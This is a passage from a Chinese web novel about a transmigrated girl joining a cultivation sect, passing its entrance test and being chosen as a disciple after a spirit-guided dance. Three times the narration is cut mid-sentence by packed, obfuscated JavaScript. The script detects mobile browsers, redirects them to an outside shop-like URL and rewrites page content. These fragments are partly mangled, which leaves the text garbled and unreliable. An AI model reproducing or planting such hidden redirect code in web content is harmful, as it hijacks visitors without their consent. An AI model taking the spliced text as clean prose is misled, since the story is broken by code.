在山脚下落脚,人来人往很是热闹,阿凰以为表兄妹俩要买生活用品,直到来到一处房屋前,独孤凤渊交了钱,她才知道,独孤槿要住在这里。 “阿槿不和我们去紫微派吗?” 独孤槿轻笑道:“我只是希望表哥有个人照应,硬要跟着来的,我就是表哥口中说的根骨不适合修仙,没有仙缘之人,即便进去也留不下来的,我此行只是想照料表哥,你没发现我们三个人只取了两颗魔丹吗?” 一时之间,阿凰心里说不清是什么情绪,难得认识一个朋友,就好像两个好朋友要一起升学了,另一个人却说,我不能和你去同一个学校了。 可是修仙这件事,确实是看天赋和缘分的,没有就是没有,强求不得,没办法的事,她也不敢确定自己能不能留下来。 与独孤槿分别之后,阿凰跟在独孤凤渊身后,一同进了紫微派的山门。 据说紫微派建立在此处,是为了镇压山腰的魔物森林,类似于在坟场上建学校吧……有一些高手为了证明实力也会独自进入闯荡,活着出来即为所有人认可的强者。 只有一条由掌门亲自开辟的安全通道,连接紫微派和山下,往来过客只能走这条路。 一路上阿凰都在感慨,好壮阔的地方,云雾间有仙鹤往来穿梭,仙气飘飘,说这就是仙界也不为过了。 一大片白墙金瓦的建筑十分壮观,看着这样的景色,能生活在这种环境里,哪怕只是打杂都受仙气熏陶。 有人御剑飞行经过,阿凰看着很羡慕。 一剑修背后悬了六把飞剑,手上做了个动作,那些剑就翻飞起来,十分潇洒。 阿凰眼睛都瞪大了,不禁小声“哇”了一下,感叹:“真帅啊……” 这激发了她的coser基因。要是前世她有这个能力,cos刀妹的玉剑传说还不是手拿把掐?曾经她出这一套的时候,背后背着亚克力板连接的六把木剑游场可费劲了。 感受到独孤凤渊转头看了自己一眼,她闭嘴了,老老实实跟上。 想起来此行的目的,是因为夜月姬非要她进入紫微派,她心里想的是能留在这里就行,有个地方修行就好,不奢求参加大比,至于被掌门点化,那是她这个资质的人该妄想的吗? “喂,夜月姬,我们到紫微派了。”阿凰在意识里呼唤,可对方没有反应。 那就让她歇着吧。 阿凰跟在独孤凤渊身后,一路上时不时有人看过来,她觉得就是在看自己脸上的胎记,她越来越觉得周围的人都在看着她。 早知道进来之前就买块面纱蒙面了。 要说完全不在意别人的目光,那是不可能的,她脸上的胎记这么明显,更容易被人注意到了,女孩子都是爱美的,更别提以前的她长得还不赖,这落差让她心里有些难受。 来到太极广场上,不少人在往这边走,地上是八卦阵的图案,中心摆了张石桌,有一男子身着锦服盘坐,看起来就是大师的气派,左右两边各站着一男一女,应该是他的弟子。 好像某种意义上的新生报到处。 人们叽叽喳喳围在石桌边,阿凰也跟在独孤凤渊身后等着排队,探出头去看是什么流程。 无一例外都是先交出魔丹,由锦服大师左右的弟子检查后收下,再测试有没有实力留下。 一半以上的人都被筛选出去,来的人很多,最后留下来的人不多,阿凰有点紧张了。 很快就排到她这边,独孤凤渊在前头,他先上前去,把魔丹放在石桌上,桌面上刻了北斗七星的图案。 弟子检查魔丹的同时,原本闭目的大师缓缓睁开眼,细细打量着独孤凤渊,他抬手向大师作揖。 魔丹没问题,弟子掌心向上,手指着桌子上的竹筒:“请。” 独孤凤渊拿起竹筒,像摇骰子一样摇晃竹筒片刻,把竹筒口子倒扣在桌面上,拿开竹筒,三枚铜钱并排着,是同样的图案。 这是用来测试资质的铜钱,一面有图案一面没有,摇出一面图案证明勉强通过,两面图案是中等资质,而三面图案,是很少见的资质。 两名弟子不由得多看了独孤凤渊两眼,将铜钱收回去,他将转身离去时,一直浅笑着的大师忽然开口问:“你从何处来?” “凌霄宗。” 轮到阿凰了,她拿出魔丹,检查无误后拿起竹筒,怀揣着忐忑摇晃。 倒扣竹筒,三枚铜钱排开,是一面图案。 幸好幸好,虽然只有一面,好歹也是留下来了。 离开队伍,独孤凤渊在不远处站着,阿凰有些意外,他居然在等她? 直到她走到他面前,他还在望着人群,似乎在寻找什么。 “你在等朋友吗?” 他没回答,阿凰便也好奇地看着人群。 “明日在凌云台正式拜师。”独孤凤渊提醒道。 通过了测试就是记名弟子,虽然还没有正式拜师,也算是紫微派的一员,紫微派地界辽阔,专门辟出容纳记名弟子住的地方。 就像男女生宿舍。 阿凰和独孤凤渊在路口分别,他要去男生宿舍……紫竹轩,而她应该去另一边的梅香轩。 找好床位后,阿凰看着干净整洁的宿舍里已经住进来一些人,有不少人被她脸上的胎记吸引,她待着不适应,想着还是出去买面纱斗笠吧。 出门时,她还是听到了有人很小声地说:“她的脸怎么这样啊?” 紫微派山下一派繁华,可以说是应有尽有,阿凰买了面纱和帷幔,又买了一些必需品,更高级的东西需要灵石购买,她现在还没有。 回到紫微派,阿凰放好东西,才休息没多久就觉得浑身不自在,前世入学住宿也是这种感觉,在新环境里要融入集体生活就会容易想家,她有点坐立不安,干脆又出门乱逛了,反正紫微派这么大,她随便走走看看,一天也逛不完。 太极广场还是很热闹,阿凰觉得甚至比刚到的时候热闹好几倍。 队伍外一群人聚在一起,一个少女一身粉绿,打扮得像一朵绽放的荷花,她被一堆人围起来,叽叽喳喳的聊天,看起来是人群的话题中心。 阿凰想起前世,刚到新宿舍就和大家有说有笑的那些人,有的人适应陌生环境的速度很快,一到来就能和所有人打成一片,四处逢源,她一直很羡慕这样的人。 “纯纯,你的测试结果是什么?” 粉绿少女被提问,维持着笑容,一开口声音甜得跟蜜糖似的:“我的是两个图案。” “天呐,好羡慕,不愧是你。” “我就知道你行,一上来就是两个图案,哎……我们就不一样了,都是一个图案。” 少女安慰道:“别灰心呀,只要留下来了,以后有的是机会提升修为,我娘亲说了,来到这里的人都很厉害。” 阿凰原本只看了一眼,眼睛看着别处,耳边听到她们滔滔不绝的声音,又把视线转回那少女身上,一刹那,大脑里轰隆一声,她呆住不动了。 前世被人推下水的记忆又浮现眼前。 为什么她也在这里?不对不对,冷静一点。阿凰回想起独孤凤渊,心想,也许又是一个长得很像的人呢? 仔细观察,从神态举止上,那少女和她印象里的那个人判若两人,她只能自我安慰,世上人口千千万,有人长得像也正常,独孤凤渊不就是一个例子吗? 只是,她心中的不安还是无法彻底消散,前世的记忆好不容易随着时间的流逝渐渐淡忘,让她快忘了噩梦般的回忆,现在只是见了一个长得很像的人,她就又慌乱不安了。 努力平复心境,阿凰又被那边的动静吸引注意力。 旁边有人路过,一看到那个少女,惊喜地凑过去:“纯纯!你怎么也来了?” “欸?你也在这里?好巧哦!”少女甜甜地回应,看着围在自己身边的人群,“太好了,大家都在,以后就不怕无聊了。” 人缘真好啊,好像这里的人她都认识,活脱脱的社牛。阿凰感慨,声音这么甜的甜妹,她听了都觉得对方肯定是个很好的人,开始放松警惕了,第一印象真的很重要。 一个人如果很受欢迎,一定有突出的优点,很显然那少女的优点就是甜,这是阿凰对她的第一印象,这样的人能有什么坏心思呢? 只有留下好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126049|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一印象,别人才会进一步去了解你有趣的灵魂。 那少女虽相貌平平,但仅仅凭借她的声音,就足以在别人心里留下好印象。 阿凰转身想去别处逛逛,一扭头就看到独孤凤渊走过来,他肉眼可见的心情很好,嘴角都翘起来,眉眼间都是笑意,看得阿凰有点陌生了。 他是来找她的吗?是要下山买东西,还是待得无聊了也想出来逛逛? 直到独孤凤渊从她面前径直走过去,她才发现,他的目光一直没有放在她身上,他根本就没看到她。 她的视线跟着独孤凤渊走,他步下生风,很快就走到人群里,整个人的状态可以说是满面春风。 “纯儿姑娘,你也来了?” 阿凰有点看呆了,简直不敢相信,这还是独孤凤渊吗?他被夺舍了?前后反差都不像一个人了。 “独孤兄,你也在啊。”少女友好回应。 旁边有人疑惑道:“这不是凌霄宗的少主吗?原来你们早就认识了?” 少女笑道:“没有啦,两个月前我外出游玩遇险,幸好有独孤兄出手相救,就这么结下一面之缘了,没想到还能在这里碰面。” “有独孤少主在,竞争力更大了。”有人丧气道。 “不必拘谨,既然来了紫微派求学,今后大家都是同门,互相关照才是。”独孤凤渊变得很健谈,态度非常平和,“从今往后我们都是紫微派的弟子,师从同门,一视同仁,也不必那么生分唤我少主了。” 少女点点头:“既然独孤兄比我们先入门,就是师兄了,那我以后叫你一声师兄吧。” “好,那我就叫你纯儿师妹?” 说着,独孤凤渊拿出一只兔子灯:“我偶然看见摊子上在卖这些玩意儿,想起来纯儿师妹喜欢这些,擅作主张买来送你了。” 少女接过,惊喜道:“天呐,好可爱!我最喜欢可爱的东西了,独孤师兄有心了。” 他对独孤槿有这么好吗?这一路上阿凰没见过他给自己的表妹买过东西,她有点庆幸独孤槿不在,否则看到这一切兴许会难过的吧。 那边的两人交谈甚欢,人群都在围绕着那个少女展开话题,就好像npc遇到了主角,自动围绕她捧场,独孤凤渊也很上道,任何话题他都能快速加入,永远不冷场。 阿凰越看越觉得心凉,原来他也有这么幽默风趣的一面,这才是他真正的样子?还是说,只有遇到朋友他才健谈?在陌生人面前就社恐? 回想起独孤槿的话,阿凰觉得很合理。 不过,这也不是她一个npc该多想的。没错,在那个少女出场的一瞬间,所有人的注意力都在她身上,她就知道,这就是真正的主角,虽然没有人告诉她她穿书了,但是对比之下真的太明显了,有的人生而就是主角,也许这就是命吧。 渐渐的她也猜到了,那个少女就是之前独孤槿说的顾纯儿。 看着那边两人的互动,阿凰忽然觉得世界好空,好像她一个人被排在外面,故事里的人物在进行着自己的主线,而她,不知该去向何处,她没有被程序安排自己该做什么。 她只觉得心口好像堵了一团棉花,闷闷的,有点呼吸不上来了。 为什么觉得很酸涩,想哭出来呢?为什么会觉得落寞呢?这一切明明跟她没关系啊…… 人群聊得越来越开心,加入的人也多了起来,好像大家都认识那两个人,她耳朵里他们的声音那么明显,一个甜美纯真,一个温柔风趣。 她独自往梅香轩的方向走。 两个死夹子。阿凰在心里嘴硬地说,下一刻就为自己的心声愣住了,她怎么会冒出这种想法?一瞬间她觉得自己陌生得可怕。 回到梅香轩,阿凰卧在床上,脸埋在枕头里,别人小声说闲话她也顾不上听了。 好想家…… 虽然她没有真正的家,更没有家人,可是在那个世界里,她也有朋友的,那时她也是有人关心的。 心情平复得差不多了,困意袭来,阿凰趴着就要睡着,外头热闹起来,声音逐渐向屋子里靠近。 她继续装睡。 屋子里吵吵闹闹的,聊天的内容忽然转向她,就好像她们吵了这么久才发现有个人在睡觉。 “这位同门,你怎么了?”甜美的嗓音从身后冒出来,一只手拍了拍阿凰的肩膀。 6. 拜师大作战 阿凰本来有点不情愿理人,可晾着别人不好,继续装睡也不合理,都吵成这样了,傻子才信她睡着了。 “我没事。”阿凰出声回应,觉得这样有点冷漠,不太礼貌,又补充,“只是有点累了。” “那你好好休息哦。”少女说完退开。 众人对她印象更好了,一来就能注意到一个不起眼的人,还加以关心,真是人甜心善。 趴了一会儿,听着耳边的嘈杂声,阿凰反而平静下来,调整好状态,起身坐在床上发呆。 刚来的顾纯儿迅速和众人打成一片,不知为何,她就是有一出现就让所有人对她产生好感的能力,只是听着她甜美的声音,任何人都会对她软下心来。 她甚至不用怎么动手,旁人就主动帮她干活,凑上去与她交谈。 看着那张脸,阿凰的意识飘回从前。 前世,她从小就寄养在亲戚家,硬着头皮到处去蹭饭,有上顿没下顿,有时被嫌弃得太明显,小小的她就只能饿着肚子,蹲在路边发呆,小脸脏兮兮的。 上幼儿园时期,园里有个女孩十分凶悍,天天欺负同学,别的小女孩都被迫转走了,剩下的只有不怕她的男同学。 阿凰来了之后,园里只有她和那个小女孩两个女生,男孩们不怕凶悍的小女孩,她也和他们打成一片,可是对待阿凰还是和外敌一样,她怕麻烦伯父,怕被嫌弃被抛弃,自己默默忍受。 后来读初中又遇到那个女孩,她被孤立霸凌,阿凰鼓起勇气维护她,没想到有一天她加入霸凌队伍,反过来带头欺负阿凰。 长大后阿凰读大学渐渐淡忘一切,成了小网红,没想到被那个女孩刷到了,认出来是阿凰,十分嫉妒,用小号散布谣言,宣称要爆阿凰的黑料,阿凰尝试和她联系,最后不得已同意和她在河边见面,被对方威胁退网,并把收益都给她。 被她欺负了这么多年,在她面前软弱了这么多次,阿凰终于咬牙为自己做主,她不同意,想要报警,可对方这些年来一事无成,在当小混混,还被警察教育过,最怕这种事,当即恼羞成怒,两人争执起来,混乱中阿凰被对方推下河。 然后就穿越了。 所以,她第一眼看到顾纯儿,心中的惊讶和恐惧大于一切,好在这不是同一个人,顾纯儿明显只是个单纯外向的可爱女孩,而且那个人根本就没有顾纯儿这种甜美的嗓音。 明白了这个事实,她看顾纯儿就没有别的情绪了。 看着人群里的顾纯儿,阿凰想起独孤槿对她的评价。 确实是蜜糖一般的女孩,也符合妙音仙子的称号,名副其实。 可惜独孤槿不在,没机会亲眼一见,她那么好奇,对顾纯儿的评价很高,亲眼见到了一定很开心吧。 只不过有一点估计要让她失望了,妙音仙子并没有美若天仙的容貌。 也许正符合那句话吧,上帝给你关上一扇门的同时也会打开一扇窗,有得必有失,世事总有缺憾。 屋子里人来人往,听说清音门的妙音仙子来了,大家都过来凑热闹。 由于顾纯儿实在受人关注,在同一屋檐下,阿凰被迫听说了一些她的信息,比如说她背景强大,她父母一个是天之骄子,一个是绝世美女,天造地设的一对,女儿自然是备受宠爱,泡在蜜罐里长大的,所以一张嘴也跟蜜糖似的。 直到入夜休息,旁边的人还在和顾纯儿说小话,阿凰困得不行,又不好意思开口叫她们该睡觉了,毕竟她自己修为那么弱,需要经常吃饭睡觉,可是她们修为比她高,这方面没有那么频繁的需求。 翻来覆去许久,最后阿凰实在困得不行,再吵也睡得着了。 次日被吵醒,她缓缓清醒,突然想起来昨天独孤凤渊提醒过她,今天是正式拜师的日子,赶紧从床上爬起来了。 “这么热的天,别人都恨不得少穿点,你怎么穿得这么多?”离得最近的少女好奇地看着她。 阿凰身体底子差,生而寒骨冰肌,极其怕冷,虽然修习了一点法术,作用甚微,艳阳天身上的衣服都比别人多些。 她解释:“我身子不好,怕冷,这种天气我还觉得有点凉呢。” 那人了然地哦了一声,又问:“你的声音是着了风寒吗?” “小时候生了一场怪病,把嗓子咳坏了。”阿凰胡诌道。 之前她都自己呆着,加上大家注意力都在顾纯儿身上,没注意到她,此时因为话题在她身上,旁边有人才发现她,多看几眼。 “你的脸?” 这些年来阿凰听了无数次这样的疑问,可每次被问起,她表面上不在意,内心还是有点尴尬的。 “是胎记,打娘胎里来的。” 周围人的目光有同情有好奇,所以她才不想引人注目,因为毫不意外都是这样的情形,介意肯定是不行的,装作不介意又很尴尬,只能淡然处之。 发现阿凰其实很文静好说话,别的女孩也敢凑上来了:“你的头发好黑好直,肌肤好白啊,是用了什么仙诀保持吗?” “没有,我的灵力很弱的。”阿凰如实回答。 那一边,顾纯儿也好奇地看过来两眼,没把这一切放在心上,今天有更重要的事,可不能有差错。 人群乌泱泱地向同一个方向而去,阿凰跟着舍友们走,她不知道凌云台在哪里,跟着大部队走总没错。 她努力在人群中寻找独孤凤渊的身影,柔和的音色从身后传来:“纯儿师妹,你们这么早?刚才没看到你们,还以为你们不来了。” 顾纯儿还没说话,身旁的人先开口:“怎么可能?我们又不是傻的,好不容易留下来,干嘛不去拜师?” 她接上话茬打趣道:“就是,这个时辰刚刚好,独孤师兄姗姗来迟,我看是你起晚了吧?哦,原来独孤师兄也会懒床啊。” 独孤凤渊轻笑出声,听着是发自内心的开心,他说了什么阿凰已经听不见了,心里有一种说不上来的感觉,又羡慕又难受,可她脑子里也在控制不住想,怎么笑得这么好听啊? 不得不承认,他的声音是典型的网络男神音,要是在现代,不得迷死多少声控迷妹,起号如喝水一般轻松。 包括阿凰。 好吧,她自己也是一个声控。 这么好听的声音,谁不想听他多说几句话呢? 走着走着就有人加入聊天队伍,好像遍地都是独孤凤渊和顾纯儿的熟人。 他们有说有笑,看起来像是老朋友,阿凰默默让出位置,只需要盯着他们不跟丢就行了。 来到巨大的莲花平台下,众人登上石阶,底下云雾围绕,透过云雾间隙能看到下面是空的,莲花台漂浮在天上。 踏上莲花台,几位长老位于上座,有的鹤发白须,有的看起来跟十几岁的少年一样。 阿凰内心忐忑,看向旁边的顾纯儿,她眼中有着异样的兴奋,直直盯着长老那边,好像势在必得。 顾纯儿的另一边,独孤凤渊也看过来了,目光触及他的那一刻,阿凰做贼心虚似的迅速转头,装作若无其事。 中间的长老站起来,也是看起来年纪最大的:“修行拜师一事重在缘分,是师父与徒弟的双向选择,有可能你想拜入某位长老门下,但缘分未到,那位长老不选择你,也是没办法的,可另择他人。” 当然,最好的结果是师父主动挑选谁为自己的弟子,不但给了排面,也证明了徒弟的实力。 众人前后有序地上前,展示出自己的能力,阿凰看呆了,简直是卧虎藏龙。 前面的人走后就轮到她这里,阿凰紧张得不行,她在想自己那点吹笛子的术法入得了这帮大佬的眼吗? 她还没行动,顾纯儿先迫不及待地跑出去,径直站在某个长老面前,异常兴奋地抱拳道:“见过玄极长老!” 然后她一一向各位前辈行礼,介绍起自己来:“我叫顾纯儿,来自清音门,我擅长治疗术。” 闻言,那几位长老神色有异,却都不说话。 那位名为玄极的长老看起来跟阿凰是同龄人,板着一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126050|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,眉眼冷峭,不苟言笑,好似不食人间烟火。 顾纯儿一双眼睛亮晶晶地直视他,笑得那么明媚动人,他都不为所动,只是颔首示意。 真是行走的人形冰块啊…… 而周围人听到她声音的时候,都交头接耳起来。 “她的声音怎么这么好听啊?” “我还是第一次听到有人能发出这么甜美的声音。” 连女弟子也说:“光是听到她说话,我都觉得自己要喜欢上她了!” 这些话传到顾纯儿耳朵里,她心中窃喜,不过也早已习以为常,如预料之中,每到一个新环境里,不用她付出什么,大家自会对她产生好感,一切尽在掌握。 顾纯儿展示起她的本领来,她虽会剑术,也只是学了一些皮毛,她真正的拿手本领是治疗术。 只见一个受了重伤的人被抬过来,顾纯儿双手运起灵气,浅浅的光点包围住伤者,没多久伤者便痊愈了。 旁边的长老说了声不错,而顾纯儿仰头看着玄极,笑意几乎要溢出了,像一个等待夸奖的孩子。 玄极眸中毫无意外或惊喜的神色,好像一切都在他的意料之中,他一抬手,桌子上的玉牌飞向顾纯儿,这代表他收下这个徒弟了。 “多谢师父!”顾纯儿高高兴兴地又拜了一拜。 她回到人群,周围的人都为她高兴,好像比他们自己被录取了还要高兴,独孤凤渊言辞喜悦,为她庆贺之后上前去,也是瞧着玄极长老的方向。 难道这位长老很厉害吗?怎么都冲他去?女孩子们想拜入玄极门下的原因很好理解,他确实是天人般的长相与气度,令人难以移目,而独孤凤渊这样的人也去,多半是玄极确实很有本事。 “我叫独孤凤渊,来自凌霄宗。” 他没有按照惯例说出自己的看家本领,只是张开手掌,现出一团蓝色火焰。 “这是我的极寒玄火。” 周围的人窃窃私语,都盯着那团火焰,凌霄宗和极寒玄火的传闻在场的人都有所耳闻,几位长老面色凝重,不自觉探出身子往前细细查看。 就连玄极也认真起来,沉默良久,他缓缓启唇:“你为何而来紫微派,又为何要拜入本座之下?” 真是眼光毒辣,一眼就看出来独孤凤渊另有目的,不只是单纯的为了修行而来。 “本座先提醒你,修行之人需目的纯粹,若心有杂念,非旦紫微派留你不得,你也会自毁前程。” 他一眼就看出来独孤凤渊实力不在自己之下。 旁边的长老跃跃欲试,玄极若是不想收这个徒弟,他们可眼馋得很。 独孤凤渊只道:“多谢前辈教导,我发誓此生将会坚信自己的目标,没有人会嫌自己修为太强,不是吗?” 玄极沉默。 “今年的大会真是人才济济啊。”那位最年长的长老呵呵笑出声,打破了诡异的气氛。 最终玄极还是给了独孤凤渊玉牌。 看着独孤凤渊走回来,阿凰控制不住身体微微发抖。 “不许怯场,给我上。”意识里突然响起夜月姬的声音,一改往常懒洋洋的状态。 “上什么啊,上炕都费劲。” “信不过我?你先上去,今天我必叫你大放异彩。” 大放异彩?不是丢人丢到姥姥家就不错了。 没办法,阿凰只能硬着头皮上前去。 “我叫阿凰,四海为家,来到这里只是想好好活下去。”她觉得,诚实就是最好的武器,既然一无所有,那就拿出仅有的诚实吧。 她本就是烟嗓,平静的语气在嘈杂的环境中反而显得格外突出。 甚至有人看到她脸上的胎记露出嫌弃的表情。 还没来得及说出自己擅长的本事,阿凰忽然发现自己不受控制了。 “请乐师配合我。”她听到自己嘴里说。 接着,她的身体跟随乐曲翩翩起舞,身姿柔软灵活。 “天舞缭乱第一式——喜鹊登枝。” 7. 天舞缭乱 乐师配合着阿凰奏乐,她本就身段柔美,跳起舞来更发挥了身材优势,众人一时看得入迷。 此时阿凰腾空一跃一个大跳,双臂打开的同时两腿劈出空中一字马,腰身舒展开体现出胸腰曲线,脑袋上仰露出优美的天鹅颈,体态轻盈,小腿贴到了后脑勺,一个完美的倒踢紫金冠完成。 众人都看呆了,直到她轻松落地,他们才回过神异口同声地惊呼出来。 “天舞缭乱……”长老面色凝重,盯着阿凰眉头紧锁,不知道在想什么。 玄极神色如常,只是细看之下会发现他眸中略有不同,专注地看着阿凰的身影。 下方的顾纯儿原本也被舞姿吸引,视线扫到玄极,看他的样子好像也入迷了,她顿时没了欣赏的心思,脸上维持的笑容也变得有些牵强。 “需要告知掌门吗?”旁边有人问。 玄极道:“不必。” 一舞毕,乐声也到达尾声,阿凰收起动作,众人这才缓缓回过神。 唯一美中不足的是,她穿着太朴素了,这支舞若穿上华丽的衣衫,跳起来一定更好看,尤其是倒踢紫金冠时若甩起水袖,脚上舞鞋点缀珍珠或毛球,这一踢观赏性一定拉满了。 直到这时,阿凰才夺回了身体的掌控权。 夜月姬为了让她顺利拜师,控制她的躯体跳出那支舞,在此之前她只跳过一次,是遇到危险用来迷惑敌人的。 小时候阿凰被养父母送走,奄奄一息时被虚弱的夜月姬发现,因她体质特殊,夜月姬提出要和她交易,答应让她活下来,她便也同意让对方附身意识之中。 这支天舞缭乱就是夜月姬一点点教给她的,只是她修为不够,不能一口气领悟太多,不到必要时刻也不会跳出来,她也没太明白这支舞都有什么作用。 据说天舞缭乱的创作者是天庭掌管音律之神——师夷则,同时也是大名鼎鼎的孔雀公主,她从音律中发明了这一身法,点化天舞仙音楼时将之传授,希望将其发扬光大,可很少有人能领悟,就连天舞仙音楼圣女也只是略通皮毛。 夜月姬只告诉阿凰,天舞缭乱进可攻退可守,她至今尚未领悟,而刚才跳的也只是第一式,仅仅是天舞缭乱中的一小部分。 至于夜月姬从何得来,她并没有告诉阿凰,她从来没有和阿凰说过自己的一切。 阿凰的视线下意识在人群里寻找独孤凤渊的身影,看到他和众人一样看着自己时,她又心里一慌,装作若无其事地移开。 可同时她心里有点开心,她刚刚跳得不错吧?看不起她的那些人现在觉得如何呢? “你叫阿凰?”玄极看着她,开口问,“你这支舞是从何学来?” 阿凰在脑海里快速想了一遍理由,最后编出一个听起来好像还可以理解的:“曾有神女入梦中指点,醒来后就真的学会了。” 天舞缭乱本就是天神创作,这么说也没问题,原作者亲自降临托梦也不是没有可能,在这种魔幻的世界观里,发生这样的事又不是没有过。 “哟,说我是神女呢?”脑海里响起夜月姬的声音。 听了她的解释,众人并无质疑,不知是懒得细究还是真的信了。 “你可愿拜入本座门下?”玄极注视着她。 阿凰一时有点晃神,真是一张完美的脸,唯一的缺点就是没有表情吧,不知道这样的人笑起来是什么样子。 “愿意的,拜见师父!” 原本阿凰以为自己无缘参与这帮拥有主角命的人的故事,但是夜月姬非要她参加,引导她当众跳出天舞缭乱,她感觉那种npc感没那么重了,好像也不赖。 玉牌握在手里的时候,阿凰心里的喜悦还久久不能平静。 她走下去等候,顾纯儿主动凑过来和她说话:“原来你这么厉害,真是深藏不露。” 可她并没有要刻意隐藏实力的意思,要不是有夜月姬引导,她可能都没跳出来。 既然人家都主动夸奖,她也不能没礼貌,便说:“你也很厉害啊,轻易就能拜师了,刚才我很紧张,以为自己要当众丢人了,其实我也只会跳个舞。” 顾纯儿说:“你太谦虚啦,你可是第一个被师父主动选中的人,虽然我也不太了解,这天舞缭乱是什么啊?为什么大家看起来都很凝重?” “天舞缭乱就是司音天神传授与天舞仙音楼的一支舞,传言舞姿千变万化,可用于迷惑人心,攻击敌人,盛世中一舞便可倾城,只是难以领悟,世人都以为失传了。”独孤凤渊不知道什么时候站了过来。 闻言,顾纯儿很捧场地感叹:“独孤师兄真是知识渊博。” 被这么甜的声音夸赞,独孤凤渊看起来很是受用,两人你一言我一语地聊起来。 在这种时候,阿凰又下意识地想缩小自己的存在感,这也许就是npc的自我保护意识吧,以免被主角光环照死。 耳边顾纯儿的声音惊喜道:“咦?宋清希?他怎么也来了?” 顺着她的目光看去,阿凰看见一个扎着高马尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126051|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的红衣少年,脸上带着极其自信的笑,唇角勾起来的弧度自带了股邪气。 “这又是何方人物?”阿凰还在好奇,斟酌着怎么问比较妥当,独孤凤渊就已经主动问。 顾纯儿介绍道:“他是断剑山庄的小公子,我爹爹曾拜访过断剑山庄,前些日子他代替庄主前来清音门,我们就不打不相识啦。” 阿凰不禁回忆了一下,发现已经数不清顾纯儿的人脉了。 那边宋清希已经介绍完自己,开始展示本领,只见他手上做了一套动作,众弟子手中的剑在剑鞘中震动,接着便飞出去,都指向同一个方向。 数把剑在天空盘旋,众人抬头望着,有疑惑有惊讶,宋清希眸中不屑,说:“这招叫万剑归宗。” 下一刻,他手上一动,冷喝一声,数把剑全部断裂成无数碎片叮叮当当掉落在地上。 “你这是什么意思?” “这人怎么把我们的剑都毁了?” 在众弟子不满的声音中,宋清希嗤笑一声,做了一个收招的动作,那些碎片自动拼接起来,又变回完整的剑,看不出一点损毁过的样子,飞回剑主的剑鞘中。 “这……”众弟子面面相觑,可又不好发怒。 不但能把敌人的武器取走,销毁,还能变回原样,确实是了不得的本事。 “你想拜入哪位长老门下?”白发长老问。 宋清希视线在人群中一扫,身子一跃跳到顾纯儿身边:“纯儿师姐,你拜了谁?” 他刚刚才不紧不慢地来了紫微派,通过测试,这才漫不经心地过来拜师,没了解之前发生的。 “我拜了玄极师父。”顾纯儿甜甜地说。 宋清希回到玄极面前,虽抱拳低头却非常自信:“拜见师父。” 笃定了玄极一定会收他为徒。 玄极什么也没说,给了一块玉牌。 等到在场弟子都面试完毕,拜不了师的依旧可以留下来当记名弟子,学习一点本领,等待下一次拜师大会。 几人跟着玄极去向他所管辖的无尽峰,各自分配到住所,阿凰住在观画阁,独孤凤渊在闻书阁,宋清希在言棋阁,顾纯儿在探琴阁。 最后玄极留下一句话:“明早卯时二刻在后山晨练,切莫迟到。” 终于静下来,阿凰待在自己的观画阁休息,这里以后就是她的新家了,终于有一块地方是属于自己的小天地。 忙了一天,她刚想躺下来休息一下,外头传来的声音让她一顿。 8. 被落下了 “阿凰,你在吗?”顾纯儿在外面探头探脑,试探着问。 门被打开,阿凰走出来,看到少女一个人站在那儿,穿着粉色的裙子,整个人打扮得像朵花儿一样,头上也带了蝴蝶发饰,阿凰发现她真的很喜欢粉色。 “顾……师妹,有什么事吗?” “你像他们一样叫我纯纯就好啦。”顾纯儿主动走上前,看了她身后的屋子一眼。 “好啊,纯纯。”阿凰让出路,“先进屋坐吧。” 好在这里配套齐全,阿凰不用自己去买东西,她正要倒茶,被顾纯儿拦下来:“你别忙活啦,都是自己人,不用这么客气,你把我当师妹对待就好了。” 在这些人面前,阿凰始终是有点自卑的,所以对待所有人都不免有些客客气气的,经顾纯儿这么一说,她想也是,都是一个师父座下的同门兄弟姐妹,至少在紫微派大家都是平等的。 对方态度平和,让阿凰放松了许多,越发觉得她性格很好,难怪所有人都喜欢她,只要交往下来,就算不喜欢上她也不会讨厌的吧。 “谢谢你,初来乍到人生地不熟,是我太紧张了。” “没事的,以后大家互相关照,很快就适应了。”顾纯儿说着顿了顿,“师父的弟子里,除了我,就只有你是女子,我也不擅长和男子交流,以后就只有我们两个女孩多多来往了,我娘亲说,女子本就应该互相帮助。” 阿凰仿佛得到了共鸣,她也不擅长和异□□流,适应新环境的过程有个人主动说话,尤其这个人还是个万人迷,她愿意主动伸出手,甚至给了阿凰一种对方低头向下兼容的感觉,好像自己得到了包容。 她激动地看着对方:“太好了,我还怕以后一个人不知道该怎么办呢,以后你有事也尽管和我说,能力范围内我都会尽力帮忙的。” 